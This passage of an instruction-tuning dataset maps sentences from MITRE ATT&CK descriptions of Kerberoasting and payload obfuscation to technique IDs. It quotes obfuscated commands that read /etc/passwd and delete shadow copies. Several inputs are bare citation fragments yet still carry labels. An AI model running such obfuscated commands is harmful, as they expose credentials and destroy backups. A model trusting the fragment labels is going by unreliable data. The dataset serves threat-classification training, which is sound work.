input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This same attack could be executed using service tickets captured from network traffic. ### Response: T1208."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: AdSecurity Cracking Kerberos Dec 2015)", "output": "T1208", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: AdSecurity Cracking Kerberos Dec 2015) ### Response: T1208."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cracked hashes may enable Persistence, Privilege Escalation, and  Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1208", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cracked hashes may enable Persistence, Privilege Escalation, and  Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1208."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SANS Attacking Kerberos Nov 2014)", "output": "T1208", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SANS Attacking Kerberos Nov 2014) ### Response: T1208."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed.", "output": "T1027.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. ### Response: T1027.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.", "output": "T1027.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems. ### Response: T1027.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A good example of this is when malware is detected with a file signature and quarantined by anti-virus software.", "output": "T1027.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. ### Response: T1027.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.", "output": "T1027.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware. ### Response: T1027.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may embed payloads within other files to conceal malicious content from defenses.", "output": "T1027.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may embed payloads within other files to conceal malicious content from defenses. ### Response: T1027.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content.", "output": "T1027.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. ### Response: T1027.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs)", "output": "T1027.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs) ### Response: T1027.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn)", "output": "T1027.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) ### Response: T1027.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage)", "output": "T1027.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage) ### Response: T1027.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2)", "output": "T1027.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) ### Response: T1027.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021) \n\nEmbedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module.", "output": "T1027.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021) \n\nEmbedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. ### Response: T1027.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)", "output": "T1027.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT) ### Response: T1027.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files.", "output": "T1027.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. ### Response: T1027.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory.", "output": "T1027.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory. ### Response: T1027.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse this LNK metadata to download malicious payloads.", "output": "T1027.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse this LNK metadata to download malicious payloads. ### Response: T1027.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries have been observed using LNK files as phishing payloads to deliver malware.", "output": "T1027.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. ### Response: T1027.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded.", "output": "T1027.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded. ### Response: T1027.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation:", "output": "T1027.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation: ### Response: T1027.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads.", "output": "T1027.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads. ### Response: T1027.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files.", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects.", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents.", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation:", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "HTML Smuggling Menlo Security 2020)(Citation:", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: HTML Smuggling Menlo Security 2020)(Citation: ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Outlflank HTML Smuggling 2018)", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Outlflank HTML Smuggling 2018) ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes.", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>.", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>. ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters. ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.(Citation:", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.(Citation: ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "HTML Smuggling Menlo Security 2020)(Citation:", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: HTML Smuggling Menlo Security 2020)(Citation: ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MSTIC NOBELIUM May 2021)(Citation:", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MSTIC NOBELIUM May 2021)(Citation: ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Outlflank HTML Smuggling 2018)(Citation:", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Outlflank HTML Smuggling 2018)(Citation: ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "nccgroup Smuggling HTA 2017)", "output": "T1027.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: nccgroup Smuggling HTA 2017) ### Response: T1027.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses.", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Fileless storage can be broadly defined as any format other than a file.", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Fileless storage can be broadly defined as any format other than a file. ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation:", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Fileless)(Citation: SecureList Fileless)\n\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620)", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Fileless)(Citation: SecureList Fileless)\n\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "and [Process Injection](https://attack.mitre.org/techniques/T1055)", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: and [Process Injection](https://attack.mitre.org/techniques/T1055) ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": ", fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage.", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: , fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)).", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft Fileless)", "output": "T1027.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft Fileless) ### Response: T1027.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obfuscate content during command execution to impede detection.", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obfuscate content during command execution to impede detection. ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze.", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE) ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing,  `^`, `+`.", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing,  `^`, `+`. ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "`$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell)", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64)", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also manually implement command obfuscation via string splitting (`\u201cWor\u201d+\u201cd.Application\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also manually implement command obfuscation via string splitting (`\u201cWor\u201d+\u201cd.Application\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017) ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\voi\\pcw\\..\\..", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\voi\\pcw\\..\\.. ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "\\Windows\\tei\\qs\\k\\..\\..", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: \\Windows\\tei\\qs\\k\\..\\.. ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\n\nTools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)", "output": "T1027.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: \\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\n\nTools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation) ### Response: T1027.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code.", "output": "T1027.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. ### Response: T1027.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries.", "output": "T1027.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. ### Response: T1027.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566).", "output": "T1027.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). ### Response: T1027.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)", "output": "T1027.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac) ### Response: T1027.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis.", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts. ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "API functions called by malware may leave static artifacts such as strings in payload files.", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: API functions called by malware may leave static artifacts such as strings in payload files. ### Response: T1027.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)\n\nTo avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities.", "output": "T1027.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)\n\nTo avoid static or other defensive analysis, adversaries may use 